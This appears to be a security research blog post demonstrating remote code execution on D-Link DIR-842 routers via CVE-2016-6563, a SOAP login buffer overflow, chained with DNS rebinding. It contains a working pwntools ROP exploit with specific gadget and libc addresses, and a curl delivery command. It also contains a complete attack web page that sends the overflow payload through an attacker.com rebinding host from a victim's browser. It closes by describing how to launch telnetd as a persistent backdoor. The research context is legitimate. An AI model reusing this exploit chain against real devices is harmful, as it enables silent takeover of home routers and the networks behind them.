Abstract
In the first part, after a fast overview on the DNS Rebinding technique, we considered a practical example in which UPnP services has been exploited to perform NAT Injection attacks and, therefore, expose internal services on Internet.
In this second post we are going to demonstrate how DNS Rebinding could be used to exploit vulnerable services running locally in order to achieve Remote Code Execution (RCE).
In particular, we will consider the case of CVE-2016-6563, which consists in a known Buffer Overflow issue caused by an unsafe parsing of the XML fields present in the login SOAP request affecting the HNAP service of some D-Link routers.
In short, below are listed the steps in order to create a working DNS Rebinding proof of concept:
- Firmware static and dynamic analysis;
- Buffer Overflow sink and source identification through static binary analysis;
- Exploit development through binary emulation;
- DNS Rebinding + Buffer Overflow ROP exploit chaining.
Static Firmware and Binary Analysis
As a first step, we downloaded the "DIR-842_C1_FW300b18.bin" firmware, which was available on the vendor site, and extracted the squash-fs filesystem by using binwalk.Then we stared to inspect the "hnap" binary inside the filesystem and we found the same behavior described in CVE-2016-6563.
undefined4 Vulnerable(char *param_1)
{
undefined4 uVar1;
int iVar2;
size_t sVar3;
char *pcVar4;
undefined4 local_758;
undefined4 local_750;
char *local_74c;
char *local_748;
undefined auStack1860 [4];
undefined4 local_740;
char acStack1852 [80];
char acStack1772 [144];
char acStack1628 [64];
char acStack1564 [64];
undefined2 local_5dc;
char acStack1484 [64];
char acStack1420 [68];
char acStack1352 [64];
char Action [128];
char Username [128];
char Password [128];
undefined Captcha [128];
undefined auStack776 [10];
undefined auStack766 [20];
undefined auStack746 [98];
char acStack648 [64];
char acStack584 [64];
undefined auStack520 [64];
char acStack456 [64];
char acStack392 [128];
char acStack264 [128];
char acStack136 [128];
memset(Action,0,0x80);
memset(Username,0,0x80);
memset(Password,0,0x80);
memset(Captcha,0,0x80);
memset(auStack776,0,0x80);
memset(acStack648,0,0x40);
memset(acStack584,0,0x40);
memset(auStack520,0,0x40);
memset(acStack456,0,0x40);
memset(acStack392,0,0x80);
memset(acStack264,0,0x80);
DAT_00433260 = FUN_0041e620();
local_758 = 0;
FUN_004057ec(FUN_00419794,0,0x10000);
uVar1 = FUN_0041edb4(DAT_00433260);
VulnerableCalled(uVar1,"Action",Action);
uVar1 = FUN_0041edb4(DAT_00433260);
VulnerableCalled(uVar1,"Username",Username);
uVar1 = FUN_0041edb4(DAT_00433260);
VulnerableCalled(uVar1,"LoginPassword",Password);
uVar1 = FUN_0041edb4(DAT_00433260);
VulnerableCalled(uVar1,"Captcha",Captcha);
. . .
The "Action", "Username", "LoginPassword" and "Captcha" XML fields are parsed by the (renamed) "VulnerableXMLParser" method:void VulnerableXMLParser(char *controllable_input,undefined4 param_2,char *destination_buffer)
{
size_t length_param;
char *p;
char *pcVar1;
char var_overflow [1024];
char acStack2060 [1024];
char EOT [1028];
sprintf(acStack2060,"<%s>",param_2);
sprintf(EOT,"</%s>",param_2);
length_param = strlen(acStack2060);
p = strstr(controllable_input,acStack2060);
if (p != (char *)0x0) {
p = p + length_param;
pcVar1 = strstr(p,EOT);
if ((pcVar1 != (char *)0x0) && (pcVar1 = pcVar1 + -(int)p, -1 < (int)pcVar1)) {
strlcpy(var_overflow,p,pcVar1 + 1);
var_overflow[(int)pcVar1] = '\0';
strcpy(destination_buffer,var_overflow);
}
}
return;
}
Here the user-controllable input present in the login parameter tags is copied in an insecure way:- inside a local buffer (i.e. "var_overflow");
- into the 128 byte buffer defined inside the caller function through the "destination_buffer" pointer.
Firmware Emulation and Binary Debugging
In order to try to exploit the issue we have tried to emulate the firmware. We then used FAT in order to achieve full system emulation:# ./fat.py ../fwrs/DIR-842_C1_FW300b18.bin
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| \__,_| \__|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: DIR-842_C1_FW300b18.bin
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: mipseb
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('br0', '192.168.0.1'), ('br1', '192.168.7.1')]
[+] All set! Press ENTER to run the firmware...
[+] When running, press Ctrl + A X to terminate qemu
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 0
Initializing VLAN...
Bringing up TAP device...
attify123
Adding route to 192.168.0.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Linux version 2.6.32.70 (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:39:21 UTC 2016
[ 0.000000]
[ 0.000000] LINUX started...
[ 0.000000] bootconsole [early0] enabled
[ 0.000000] CPU revision is: 00019300 (MIPS 24Kc)
[ 0.000000] FPU revision is: 00739300
[ 0.000000] Determined physical RAM map:
However, we have used the QEMU user-mode emulation feature with the aim of debugging the issue and creating a working exploit.
In particular, the following setting was used to emulate a HTTP request to the target mips "hnap" service:
sudo chroot . ./qemu-mips-static -E HTTP_SOAPACTION="http://purenetworks.com/HNAP1/Login" -E HTTP_HNAP_AUTH="69201619B75DDDFF967E6ADD87BA945F 1583432673" -E REQUEST_URI="/HNAP1/" -E REQUET_METHOD="POST" -E HTTP_COOKIE="uid=99TIA1AP7" -E CONTENT_LENGTH=2640 -E CONTENT_TYPE="text/xml; charset=utf-8" -g 4444 ./htdocs/HNAP1/hnap
Following the description of the used parameters:- chroot: the full command was executed within the root directory of the extracted squash-fs filesystem, so chroot . makes this directory the root directory;
- qemu-mips-static: allows to emulate MIPS binaries. The "-E" options was used to set some environment variables required by "hnap" to regularly invoke the vulnerable method; "-g" sets the "QEMU_GDB" environment variable that opens a gdb-server on the specified port (in this case port 4444).
It was then possible to attach to the gdb-server running on "localhost:4444" and debugging the target binary using gdb-multiarch as follows:
$ gdb-multiarch
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) file htdocs/HNAP1/hnap
Reading symbols from htdocs/HNAP1/hnap...(no debugging symbols found)...done.
(gdb) target remote 127.0.0.1:4444
Remote debugging using 127.0.0.1:4444
warning: remote target does not support file transfer, attempting to access files from local filesystem.
Reading symbols from ~/firmware/fwrs/_DIR-842_C1_FW300b18.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.33.2.so...(no debugging symbols found)...done.
0x7f7e7f90 in _start () from ~/firmware/fwrs/_DIR-842_C1_FW300b18.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.33.2.so
(gdb) c
Continuing.
A working Buffer Overflow exploit
After some digging into the analysis both user-mode and system-mode, we got a running ROP exploit that allowed us to execute an arbitrary command by jumping to the ld-uClibc-0.9.33.2 system() function:from pwn import *
def p32_big(data):
return p32(data, endian = 'big')
libc_text_base = 0x2aae4000
libc_text_start = 0x0
libc_system = libc_text_base + (0x00062104 - libc_text_start)
gadget1 = libc_text_base + (0x00042e08 - libc_text_start)
# identified gadget
# 0x00042e08 : sw $v0, 0xa8($sp) ; addiu $a0, $sp, 0xb8 ; lw $t9, 0x24($sp) ; jalr $t9 ; move $a1, $s6
payload = "A" * 1028 + p32_big(gadget1)
payload += "BBBB" # $sp points here
payload += "C" * 32
payload += p32_big(libc_system)
payload += "C" * 144
payload += "touch /tmp/minded;" # here the command to execute
soap_body = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><Login xmlns=\"http://purenetworks.com/HNAP1/\"><Action>request</Action><Username>Admin</Username><LoginPassword>" + payload + "</LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>"
print(soap_body)
The following gadget was found in the libc address and used to perform a return-to-system:
0x00042e08 : sw $v0, 0xa8($sp) ; addiu $a0, $sp, 0xb8 ; lw $t9, 0x24($sp) ; jalr $t9 ; move $a1, $s6
The gadget allows to jump to the next instruction through jalr $t9
and lw $t9, 0x24($sp)
; so we put the address of system() 36 bytes after the current pointed address. addiu $a0, $sp, 0xb8
, which points to the stack location that contains the command to execute.Once adjusted the libc base address according to the system-mode, we could test the exploit by using curl (the body file contains the output of the python exploit):$ curl -X POST -d @body http://192.168.0.1/HNAP1/ -H 'SOAPAction: http://purenetworks.com/HNAP1/Login' -H 'HNAP_AUTH: 7A6EA9269CBB71629F4EF2926343C7A1 1583173034' -H 'Content-Type: text/xml; charset=utf-8'
<title>500 Internal Server Error</title>
<h1>500 Internal Server Error</h1>
# [ 5278.120000] do_page_fault() #2: sending SIGSEGV to hnap for invalid read access from
[ 5278.120000] 68202f90 (epc == 2ab26e20, ra == 2ab26e1c)
[ 5278.120000] Cpu 0
[ 5278.120000] $ 0 : 00000000 1000a400 68202f74 00000001
[ 5278.120000] $ 4 : 2ab64000 7f80be50 00000000 00000000
[ 5278.120000] $ 8 : 00000000 80104960 8f06cc98 0000000a
[ 5278.124000] $12 : 00000008 811e41c0 00000000 00000000
[ 5278.124000] $16 : 7f80cd88 2ab44000 004013b8 0049e444
[ 5278.124000] $20 : 00487ec0 0049e88c 004a0000 00000000
[ 5278.124000] $24 : 8f3cc4f0 2ab1db80
[ 5278.124000] $28 : 2ab65400 7f80bea0 41414141 2ab26e1c
[ 5278.124000] Hi : 00000000
[ 5278.124000] Lo : 00000000
[ 5278.124000] epc : 2ab26e20 0x2ab26e20
[ 5278.124000] Not tainted
[ 5278.124000] ra : 2ab26e1c 0x2ab26e1c
[ 5278.124000] Status: 0000a413 USER EXL IE
[ 5278.124000] Cause : 10800008
[ 5278.124000] BadVA : 68202f90
[ 5278.124000] PrId : 00019300 (MIPS 24Kc)
[ 5278.124000] Modules linked in:
[ 5278.124000] Process hnap (pid: 20107, threadinfo=8f1b6000, task=8f2bd6e0, tls=2aab7440)
[ 5278.124000] Stack : 42424242 43434343 43434343 43434343 43434343 43434343 43434343 43434343
[ 5278.124000] 43434343 2ab46104 43434343 43434343 43434343 43434343 43434343 43434343
[ 5278.128000] 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343
[ 5278.128000] 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343
[ 5278.128000] 43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343
[ 5278.128000] ...
[ 5278.128000] Call Trace:
[ 5278.128000]
[ 5278.128000]
[ 5278.128000] Code: 0320f809 02c02821 8fa200bc <8c59001c> 13200004 8fbc0018 0320f809 27a400b8 8fbc0018
[ 5278.128000] hnap/20107: potentially unexpected fatal signal 11.
[ 5278.128000]
[ 5278.128000] Cpu 0
[ 5278.128000] $ 0 : 00000000 1000a400 68202f74 00000001
[ 5278.132000] $ 4 : 2ab64000 7f80be50 00000000 00000000
[ 5278.132000] $ 8 : 00000000 80104960 8f06cc98 0000000a
[ 5278.132000] $12 : 00000008 811e41c0 00000000 00000000
[ 5278.132000] $16 : 7f80cd88 2ab44000 004013b8 0049e444
[ 5278.132000] $20 : 00487ec0 0049e88c 004a0000 00000000
[ 5278.132000] $24 : 8f3cc4f0 2ab1db80
[ 5278.132000] $28 : 2ab65400 7f80bea0 41414141 2ab26e1c
[ 5278.132000] Hi : 00000000
[ 5278.132000] Lo : 00000000
[ 5278.132000] epc : 2ab26e20 0x2ab26e20
[ 5278.132000] Not tainted
[ 5278.132000] ra : 2ab26e1c 0x2ab26e1c
[ 5278.132000] Status: 0000a413 USER EXL IE
[ 5278.132000] Cause : 10800008
[ 5278.132000] BadVA : 68202f90
[ 5278.132000] PrId : 00019300 (MIPS 24Kc)
# ls /tmp/
server.key wburfe wifi0.caldata minded
server.crt hapfie wifi1.caldata
Remote Command Execution through DNS Rebinding attack
It was then possible to embed the generated payload inside an xhr SOAP request in the DNS Rebinding HTML attack page we used in the first part:<html>
<head>
<script src="jquery.min.js"></script>
<script>
function exploit()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127-0-0-1.192-168-0-1.attacker.com\/HNAP1\/", true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Content-Type", "text\/xml; charset=utf-8");
xhr.setRequestHeader("SOAPAction","http:\/\/purenetworks.com\/HNAP1\/Login");
xhr.setRequestHeader("HNAP_AUTH","7A6EA9269CBB71629F4EF2926343C7A1 1583173034");
xhr.withCredentials = true;
var body = "\x3c?xml version=\"1.0\" encoding=\"utf-8\"?\x3e\x3csoap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"\x3e\x3csoap:Body\x3e\x3cLogin xmlns=\"http://purenetworks.com/HNAP1/\"\x3e\x3cAction\x3erequest\x3c/Action\x3e\x3cUsername\x3eAdmin\x3c/Username\x3e\x3cLoginPassword\x3eAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA*\xb2n\x08BBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC*\xb4a\x04CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCtouch \/tmp\/testJS\x3c/LoginPassword\x3e\x3cCaptcha\x3e\x3c/Captcha\x3e\x3c/Login\x3e\x3c/soap:Body\x3e\x3c/soap:Envelope\x3e";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
var trigger = true;
function start() {
jQuery.ajax ({
url: "/info/Login.html",
type: "GET",
data: "",
}).always(function (data,status){
console.log("[+] Checking SOP bypass...");
if(trigger && data.includes("<title>D-LINK</title>")){
console.log("[+] Sending Exploit...");
exploit();
trigger = false;
}else{
console.log("[+] Waiting...");
}
});
}
function poll() {
setTimeout(function () {
if(trigger){
start();
poll();
}else{
console.log("[+] Exploit sent...")
}
}, 6000);
}
$(document).ready(function () {
poll();
});
</script>
</head>
<body>
<h1>DNS Rebinding Attack against Dlink Router CVE-XXXXX</h1>
<br><br><br>
<marquee>Insert here something...</marquee>
</body>
</html>
Getting Persistence using DNS Rebinding + UPnP NAT Injection + telnetd service
The next step for an attacker would be to create a backdoor in order to get persistent access to the victim's device.
During the static firmware analysis we noticed the existence of "/usr/sbin/telnetd" within the firmware, so we could force the router to run the telnetd service just by replacing his path in the working exploit.
The service was executed on the machine as shown in the following screenshot that shows the nmap output before and after the exploit execution.
Telnet service started after the exploit execution:
Conclusion
Below the Attack Tree of the proposed attack: